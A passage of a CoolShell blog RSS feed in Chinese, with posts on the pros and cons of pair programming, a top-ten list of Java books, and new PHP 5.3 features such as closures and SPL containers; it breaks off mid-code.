isPermaLink=\"false\">http://coolshell.cn/?p=16</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>结对编程(Pair-Programming)可能是近年来最为流行的编程方式。所谓结对编程，也就是两个人写一个程序，其中，一个人叫Driver，另一个人叫Obse...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/16.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/16.html\">结对编程的利与弊</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/cccpairprogramming.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-thumbnail wp-image-17\" title=\"cccpairprogramming\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/cccpairprogramming-150x150.jpg\" alt=\"cccpairprogramming\" width=\"150\" height=\"150\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/cccpairprogramming-150x150.jpg 150w, https://coolshell.cn/wp-content/uploads/2009/03/cccpairprogramming-200x200.jpg 200w\" sizes=\"(max-width: 150px) 100vw, 150px\" /></a>结对编程(<a href=\"http://en.wikipedia.org/wiki/Pair_programming\" target=\"_blank\">Pair-Programming</a>)可能是近年来最<a href=\"https://coolshell.cn/wp-content/uploads/2009/03/cccpairprogramming.jpg\"></a>为流行的编程方式。所谓结对编程，也就是两个人写一个程序，其中，一个人叫Driver，另一个人叫Observer，Driver在编程代码，而Observer在旁边实时查看Driver的代码，并帮助Driver编程。并且，Driver和Observer在一起时可以相互讨论，有效地避免了闭门造车，并可以减少后期的code review时间，以及代码的学习成本。</p>\n<p><span id=\"more-16\"></span></p>\n<p>有实验证明，平均下来，结对编程所花费的时候比单人编程增加了10%，但也会比单人编程减少15%的代码BUG。如果再算上后期代码的维护和学习成本，结对编程比单人编程更有效率，还更为节省成本。无论是对开发团队还是对于Business，结对编程都会是非常不错的Programming Practice。</p>\n<p><strong>下面是一些结对编程的优点：</strong></p>\n<ol>\n<li>程序员互相帮助，互相教对方，可能得到能力上的互补。</li>\n<li>可以让编程环境有效地贯彻Design。</li>\n<li>增强代码和产品质量，并有效的减少BUG。</li>\n<li>降低学习成本。一边编程，一边共享知识和经验，有效地在实践中进行学习。</li>\n<li>在编程中，相互讨论，可能更快更有效地解决问题。</li>\n</ol>\n<p><strong><br />\n当然，结队编程也会有一些不好的地方：</strong></p>\n<ol>\n<li>对于有不同习惯的编程人员，可以在起工作会产生麻烦，甚至矛盾。</li>\n<li>有时候，程序员们会对一个问题各执己见（代码风格可能会是引发技术人员口水战的地方），争吵不休，反而产生重大内耗。</li>\n<li>两个人在一起工作可能会出现工作精力不能集中的情况。程序员可能会交谈一些与工作无关的事情，反而分散注意力，导致效率比单人更为低下。</li>\n<li>结对编程可能让程序员们相互学习得更快。有些时候，学习对方的长处，可能会和程序员们在起滋生不良气氛一样快。比如，合伙应付工作，敷衍项目。</li>\n<li>面对新手，有经验的老手可能会觉得非常的烦躁。不合适的沟通会导到团队的不和谐。</li>\n<li>新手在面对有经验的老手时会显得非常的紧张和不安，甚至出现害怕焦虑的的精神状态，从而总是出现低级错误，而老手站在他们后面不停地指责他们导致他们更加紧张，出现恶性循环。最终导致项目进展效率低下，并且团队貌合神离。</li>\n<li>有经验的人更喜欢单兵作战，找个人来站在他背后看着他可能会让他感到非常的不爽，最终导致编程时受到情绪影响，反而出现反作用。</li>\n</ol>\n<p>是否使用结对编程，需要具体问题具体分析，不可盲目。任何事物都有他的好与坏，结对编程也不例外，只有知道了好与坏，你才能更好的利用它。</p>\n<p>最后，请记住，人是一种非常复杂的动物，他们的缺点和内心的阴暗面可能会比你想像得还要糟糕，而这些东西是可以让一切事物失败的。所以，正如《人件》所说，人才是软件开发中最核心，也是最需要花时间去关注的事情。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"敏捷水管工\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_title\">敏捷水管工</a></li><li ><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight-150x150.jpg\" alt=\"“单元测试要做多细？”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_title\">“单元测试要做多细？”</a></li><li ><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" alt=\"持续部署，并不简单！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_title\">持续部署，并不简单！</a></li><li ><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Test-Driven Development？别逗了\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_title\">Test-Driven Development？别逗了</a></li><li ><a href=\"https://coolshell.cn/articles/5625.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"“品质在于构建过程”吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5625.html\" class=\"wp_rp_title\">“品质在于构建过程”吗？</a></li><li ><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"在新浪微博上关于敏捷的一些讨论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_title\">在新浪微博上关于敏捷的一些讨论</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/16.html\">结对编程的利与弊</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/16.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>58</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Java书籍Top 10</title>\n\t\t<link>https://coolshell.cn/articles/14.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/14.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 05:43:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[book]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=14</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是Java Inside上推荐的十本不错的Java书籍。（文章来源） 1）Java Language Specification, Third Editio...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/14.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/14.html\">Java书籍Top 10</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是<a href=\"http://www.kiatemy.com/\" target=\"_blank\">Java Inside</a>上推荐的十本不错的Java书籍。（<a href=\"http://www.kiatemy.com/?p=93\" target=\"_blank\">文章来源</a>）</p>\n<p><a href=\"http://www.kiatemy.com/wp-content/uploads/2009/01/jls3e.jpg\" target=\"_blank\"></a></p>\n<p style=\"text-align: left;\"><img decoding=\"async\" class=\"alignright\" src=\"http://images.china-pub.com/ebook30001-35000/30979/zcover.jpg\" border=\"0\" alt=\"Java编程规范（第三版）\" /></p>\n<p style=\"text-align: left;\"> <span style=\"color: #787878; font-family: Arial;\"> </span><strong>1）Java Language Specification, <em>Third Edition</em></strong> (<em>by James Gosling</em>) </p>\n<p>本书由Java技术的发明者编写，是Java TM编程语言的权威性技术指南。如果你想知道语言之构造的精确含义，本书是最好的资源。</p>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/30979\" target=\"_blank\">Java编程规范</a>》<br />\n英文版链接：《<a href=\"http://www.amazon.com/gp/product/0321246780/qid=1151978234/sr=11-1/ref=sr_11_1/103-0196201-4410255?n=283155\" target=\"_blank\">The Java Language Specification (3rd Edition) </a>》</p>\n<p> <span id=\"more-14\"></span></p>\n<p><strong><img decoding=\"async\" class=\"alignright\" src=\"http://images.china-pub.com/ebook195001-200000/195040/zcover.jpg\" border=\"0\" alt=\"Effective Java中文版(第2版)\" /></strong><span style=\"color: #787878; font-family: Arial;\"> </span><strong>2）</strong> <strong>Effective Java</strong> , <strong><em>Second Edition</em></strong> (<em>by Joshua Bloch</em>)</p>\n<p>本书介绍了在Java编程中78条极具实用价值的经验规则，这些经验规则涵盖了大多数开发人员每天所面临的问题的解决方案。通过对Java平台设计专家所使用的技术的全面描述，揭示了应该做什么，不应该做什么才能产生清晰、健壮和高效的代码。.</p>\n<p>本书中的每条规则都以简短、独立的小文章形式出现，并通过例子代码加以进一步说明。本书内容全面，结构清晰，讲解详细。可作为技术人员的参考用书。…</p>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/195040\" target=\"_blank\"><span style=\"color: #2970a6;\">Effective Java 第二版</span></a>》<br />\n英文版链接：《<a href=\"http://www.amazon.com/Effective-Java-2nd-Joshua-Bloch/dp/0321356683/ref=sr_11_1?ie=UTF8&amp;qid=1231898916&amp;sr=11-1\" target=\"_blank\"><span style=\"color: #2970a6;\">Effective Java (2nd Edition) </span></a>》</p>\n<p><strong><img decoding=\"async\" class=\"alignright\" src=\"http://images.china-pub.com/ebook30001-35000/34825/zcover.jpg\" border=\"0\" alt=\"JAVA并发编程实践\" /></strong><span style=\"color: #787878; font-family: Arial;\"> </span><strong>3)</strong> <strong>Java Concurrency in Practice</strong> (<em>by Brian Goetz</em>)</p>\n<p>随着多核处理器的普及，使用并发成为构建高性能应用程序的关键。Java 5以及6在开发并发程序取得了显著的进步，提高了Java虚拟机的性能，提高了并发类的可伸缩性，并加入了丰富的新并发构建块。在本书中，这些便利工具的创造者不仅解释了它们究竟如何工作、如何使用，同时，还阐释了创造它们的原因，及其背后的设计模式。 本书既能够成为读者的理论支持，又可以作为构建可靠的，可伸缩的，可维护的并发程序的技术支持。本书并不仅仅提供并发API的清单及其机制，本书还提供了设计原则，模式和思想模型，使我们能够更好地构建正确的，性能良好的并发程序。</p>\n<p>本书的读者是那些具有一定Java编程经验的程序员、希望了解Java SE 5，6在线程技术上的改进和新特性的程序员，以及Java和并发编程的爱好者。</p>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/34825\" target=\"_blank\">JAVA并发编程实践</a>》<br />\n英文版链接：《<a href=\"http://www.amazon.com/Java-Concurrency-Practice-Brian-Goetz/dp/0321349601/ref=pd_bbs_sr_1/104-7541332-0393550?ie=UTF8&amp;s=books&amp;qid=1184131642&amp;sr=1-1\" target=\"_blank\">Java Concurrency in Practice<span style=\"color: #012c83; font-family: Arial;\"> </span></a>》</p>\n<p><strong><img decoding=\"async\" class=\"alignright\" src=\"http://images.china-pub.com/ebook25001-30000/28310/zcover.jpg\" border=\"0\" alt=\"JAVA解惑\" /></strong><span style=\"color: #787878; font-family: Arial;\"> </span><strong>4）Java Puzzles: Traps, Pitfalls and Corner Cases</strong> (<em>by Joshua Bloch</em>)</p>\n<div>Java教父的又一经典名著–Java Puzzlers，Amazon五星图书。认为你到底有多了解Java？你是一个代码神探吗？你是否曾经花费过数天时间去追踪一个由Java或其类库的陷阱和缺陷而导致的bug？你喜欢智力测验吗？那么这本书正好适合你！</div>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/28310\" target=\"_blank\">JAVA解惑</a>》<br />\n英文版链接：《<a href=\"http://www.amazon.com/gp/product/032133678X/qid=1134008561/sr=2-1/ref=pd_bbs_b_2_1/103-5953105-7638227?s=books&amp;v=glance&amp;n=283155\" target=\"_blank\">Java Puzzlers : Traps, Pitfalls, and Corner Cases </a>》</p>\n<p><strong><img decoding=\"async\" class=\"alignright\" src=\"http://images.china-pub.com/ebook30001-35000/34838/zcover.jpg\" border=\"0\" alt=\"Java编程思想(第4版)(经典图书最新版本) (07年度畅销榜NO.4)\" /></strong><span style=\"color: #787878; font-family: Arial;\"> </span><strong>5)</strong> <strong>Thinking in Java</strong> (<em>by Bruce Eckel</em>)</p>\n<p>本书赢得了全球程序员的广泛赞誉，即使是最晦涩的概念，在Bruce Eckel的文字亲和力和小而直接的编程示例面前也会化解于无形。从Java的基础语法到最高级特性（深入的面向对象概念、多线程、自动项目构建、单元测试和调试等），本书都能逐步指导你轻松掌握。</p>\n<p>从本书获得的各项大奖以及来自世界各地的读者评论中，不难看出这是一本经典之作。本书的作者拥有多年教学经验，对C、C++以及Java语言都有独到、深入的见解，以通俗易懂及小而直接的示例解释了一个个晦涩抽象的概念。本书共22章，包括操作符、控制执行流程、访问权限控制、复用类、多态、接口、通过异常处理错误、字符串、泛型、数组、容器深入研究、Java I/O系统、枚举类型、并发以及图形化用户界面等内容。这些丰富的内容，包含了Java语言基础语法以及高级特性，适合各个层次的Java程序员阅读，同时也是高等院校讲授面向对象程序设计语言以及Java语言的绝佳教材和参考书。</p>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/34838\" target=\"_blank\">JAVA编程思想(第4版)</a>》<br />\n英文版链接：《<a href=\"http://www.amazon.com/Thinking-Java-4th-Bruce-Eckel/dp/0131872486/ref=sr_11_1/104-7541332-0393550?ie=UTF8&amp;qid=1182221667&amp;sr=11-1\" target=\"_blank\">Thinking in Java (4th Edition) </a>》</p>\n<p><strong></strong> </p>\n<p><strong><img decoding=\"async\" class=\"alignright\" src=\"http://images.china-pub.com/ebook30001-35000/31157/zcover.jpg\" border=\"0\" alt=\"轻快的Java\" /></strong><span style=\"color: #787878; font-family: Arial;\"> </span><strong>6)</strong> <strong>Better, faster, lighter Java</strong> (<em>by Justin Gehtland, Bruce A. Tate</em>)</p>\n<p>Java的开发者正深陷于复杂性的泥沼中而无法自拔。我们的经验和能力正接近极限，程序员为了编写支持所选框架的程序所花的时间比解决真正问题的时间要多得多。我们不禁要问，有必要把Java搞得这么复杂吗?.</p>\n<p>答案是否定的。本书给你指引了一条出路。无论是维护应用程序，还是从头开始设计，你都能够超越成规，并大幅精简基本框架、开发过程和最终代码。你能重新掌握一度失控的J2EE应用程序。..</p>\n<p>在本书中，原作者Bruce A．Tate与Justin Gehtland将循序渐进、娓娓道来。首先，他们列出了五项基本法则。他们展示了如何构建简单、解耦的代码，并告诉你如何选择技术。他们还对两种被广泛运用的开源程序如何迎合这些概念进行了剖析。最后，作者还将利用这些基本概念构建一个简单但内涵丰富的应用程序来解决现实世界中所遇到的问题。</p>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/31157\" target=\"_blank\">轻快的JAVA</a>》<br />\n英文版链接：《<a href=\"http://www.amazon.com/gp/product/0596006764/sr=1-1/qid=1154660697/ref=pd_bbs_1/103-0057155-0283849?ie=UTF8&amp;s=books\" target=\"_blank\">Better, Faster, Lighter Java </a> 》</p>\n<p><strong><img decoding=\"async\" class=\"alignright\" src=\"http://images.china-pub.com/ebook205001-210000/208978/zcover.jpg\" border=\"0\" alt=\"Java核心技术,卷1(原书第8版)(china-pub 全国首发)\" /></strong><strong> 7)</strong> <strong>Core Java (vol. 1, 2)</strong> (<em>by Cay S. Horstmann, Gary Cornell</em>)</p>\n<p>《Java核心技术》出版以来一直畅销不衰，深受读者青睐，每个新版本都尽可能快地跟上Java开发工具箱发展的步伐，而且每一版都重新改写了部分内容，以便适应Java的最新特性。本版也不例外，它反映了Java SE 6的新特性。全书共14章，包括Java基本的程序结构、对象与类、继承、接口与内部类、图形程序设计、事件处理、Swing用户界面组件、部署应用程序和Applet、异常日志断言和调试、泛型程序设计、集合以及多线程等内容。.</p>\n<p>全书对Java技术的阐述精确到位，叙述方式深入浅出，并包含大量示例，从而帮助读者充分理解Java语言以及Java类库的相关特性。</p>\n<p>中文版链接：《JAVA核心技术，<a href=\"http://www.china-pub.com/208978\" target=\"_blank\">卷1</a>，<a href=\"http://www.china-pub.com/508881\" target=\"_blank\">卷2</a>》<br />\n英文版链接：《<a href=\"http://www.amazon.com/Core-Java-I-Fundamentals-8th-Sun/dp/0132354764/ref=sr_11_1?ie=UTF8&amp;qid=1215592737&amp;sr=11-1\" target=\"_blank\">Core Java, Volume I–Fundamentals (8th Edition) </a>，<a href=\"http://www.amazon.com/Core-Java-Vol-Advanced-Features/dp/0132354799/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1227751671&amp;sr=1-1\" target=\"_blank\">Core Java, Vol. 2: Advanced Features, 8th Edition </a>》</p>\n<p><strong><img decoding=\"async\" class=\"alignright\" src=\"http://images.china-pub.com/ebook35001-40000/37364/zcover.jpg\" border=\"0\" alt=\"The Java Virtual Machine Specification (2nd Edition)(英文原版进口）\" /></strong><span style=\"color: #787878; font-family: Arial;\"> </span><strong>8） The Java Virtual Machine Specification</strong> (<em>by Tim Linholm, Frank Yellin</em>)</p>\n<p>如果你需要了解Java虚拟机的byte code，或者是一些编译方面的东西，这本书绝对让你得偿所愿。其不但包含了机器码的规范说明，同时它也是Java编译器和运行环境的规格说明书。</p>\n<p>中文版链接：《无》<br />\n英文版链接：《<a href=\"http://www.amazon.com/Java-Virtual-Machine-Specification-2nd/dp/0201432943/ref=sr_11_1?ie=UTF8&amp;qid=1196140587&amp;sr=11-1\" target=\"_blank\">The Java Virtual Machine Specification (2nd Edition) </a>》</p>\n<p><strong><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" style=\"DISPLAY: block; CURSOR: hand\" src=\"http://images.china-pub.com/ebook190001-195000/191946/zcover.jpg\" border=\"0\" alt=\"Robust Java中文版--Java异常处理、测试与调试（amazon 4星图书，项目经理必备读物）(购买清华社红皮书系列满88元赠品)\" vspace=\"5\" width=\"150\" height=\"188\" /></strong></p>\n<p><span style=\"color: #787878; font-family: Arial;\"> </span><strong>9）Robust Java: Exception Handling, Testing, and Debugging </strong>(<em>by Stephen Stelting</em>)</p>\n<p>处理异常涉及开发、设计和体系结构等方面的知识。本书共分3个部分。<br />\n　　第Ⅰ部分介绍Java异常的产生机理和用法，介绍一些最佳实践，讲述各类异常处理使用的一般API和技术。<br />\n　　第Ⅱ部分阐述可测试性设计，介绍故障模式分析，讨论常见API的异常及起因，分析J2EE体系结构和分布式API的异常模式。<br />\n　　第Ⅲ部分讨论在软件开发周期执行异常和错误处理，分析软件体系结构、设计模式、测试和调试，列举成熟的设计模式，介绍处理策略对系统体系结构的影响，讲述如何构建健壮系统。</p>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/191946\" target=\"_blank\">ROBUST JAVA中文版–JAVA异常处理、测试与调试</a>》<br />\n英文版链接：《<a href=\"http://www.amazon.com/exec/obidos/ASIN/0131008528/qid%3D1126685892/sr%3D11-1/ref%3Dsr_11_1/103-8394699-5235834\" target=\"_blank\">Robust Java Exception Handling,Testing and Debugging </a>》</p>\n<p>10）<a href=\"http://java.sun.com/docs/codeconv/CodeConventions.pdf\" target=\"_blank\"><strong>Java Code Convention</strong></a> </p>\n<p>最后一本当然是Java编码规范，这是由Sun公司官方出品的。这也是每个程序员为了得供程序的易读性，可维护性需要知道的。</p>\n<p><a href=\"http://java.sun.com/docs/codeconv/CodeConventions.pdf\" target=\"_blank\">http://java.sun.com/docs/codeconv/CodeConventions.pdf</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/14.html\">Java书籍Top 10</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/14.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>PHP v5.3的新鲜玩意</title>\n\t\t<link>https://coolshell.cn/articles/11.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 05:40:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[PHP脚本]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>PHP v5.3马上就要release了，这里让我们看看他有一些什么样的新特性。 1）_callStatic() magic 方法 class Foo { pu...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11.html\">PHP v5.3的新鲜玩意</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>PHP v5.3马上就要release了，这里让我们看看他有一些什么样的新特性。</p>\n<p><strong>1）_callStatic() magic 方法</strong></p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">class Foo\n{\n    public static function __callStatic( $name, $args )\n    {\n        echo &quot;Called method $name statically&quot;;\n    } \n\n    public function __call( $name, $args )\n    {\n        echo &quot;Called method $name&quot;;\n    }\n}</pre>\n<p><span id=\"more-11\"></span></p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">Foo::dog();       // outputs &quot;Called method dog statically&quot;\n$foo = new Foo;\n$foo-&amp;gt;dog();      // outputs &quot;Called method dog&quot;</pre>\n<p><strong>2）<span class=\"atitle\"><code>动态调用函数</code></span></strong></p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">class Dog\n{\n    public function bark()\n    {\n        echo &quot;Woof!&quot;;\n    }\n&lt;span style=&quot;color: #333399;&quot;&gt;} \n\n$class = &quot;Dog&quot;\n$action = &quot;bark&quot;;\n$x = new $class(); // instantiates the class &quot;Dog&quot;\n$x-&amp;gt;$action();     // outputs &quot;Woof!&quot; &lt;/span&gt;</pre>\n<p><strong><span class=\"atitle\">3) 标准</span></strong><strong><span class=\"atitle\">PHP</span></strong><strong><span class=\"atitle\">库（SPL）</span></strong></p>\n<p><span class=\"atitle\">加了了少数几个容器类，</span><span class=\"atitle\">比如，栈（</span>SplStack<span class=\"atitle\">）和固定数组（SplFixedArray）</span></p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$stack = new SplStack(); \n\n// push a few new items on the stack\n$stack-&amp;gt;push(&quot;a&quot;);\n$stack-&amp;gt;push(&quot;b&quot;);\n$stack-&amp;gt;push(&quot;c&quot;); \n\n// see how many items are on the stack\necho count($stack); // returns 3 \n\n// iterate over the items in the stack\nforeach ( $stack as $item )\n    echo &quot;[$item],&quot;;\n// the above outputs: [c][/c]\n\n [/c],[b],[a]  // pop an item off the stack echo $stack-&amp;gt;pop(); // returns &quot;c&quot;   // now see how many items are on the stack echo count($stack); // returns 2</pre>\n<p><strong><span class=\"atitle\">4) </span><span class=\"atitle\">Closures 功能</span></strong></p>\n<p><span class=\"atitle\">关于</span>Closures<span class=\"atitle\">，这是一个把函数定义成变量的玩意。让我们看几个例子：</span></p>\n<p><span class=\"atitle\">示例一：</span></p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$string = &quot;Hello World!&quot;;\n$closure = function() use ($string) { echo $string; };\n\n$closure();</pre>\n<p><strong>Output:</strong><br />\nHello World!<br />\n示例二 使用引用的变量</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$x = 1\n$closure = function() use (&amp;amp;$x) { ++$x; }\n\necho $x . &quot;\\\\n&quot;;\n$closure();\necho $x . &quot;\\\\n&quot;;\n$closure();\necho $x . &quot;\\\\n&quot;;</pre>\n<p><strong>Output</strong>:<br />\n1<br />\n2<br />\n3<br />\n示例三，返回值</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">function getAppender($baseString)\n{\n      return function($appendString) use ($baseString)\n  { return $baseString .$appendString; };\n}</pre>\n<p>示例四，Reflection</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">class Counter\n{\n      private $x;\n\n      public function __construct()\n      {\n           $this-&amp;gt;x = 0;\n      }\n\n      public function increment()\n      {\n           $this-&amp;gt;x++;\n      }\n\n      public function currentValue()\n      {\n           echo $this-&amp;gt;x . &quot;\\\\n&quot;;\n      }\n}\n$class = new ReflectionClass(&quot;Counter&quot;);\n$method = 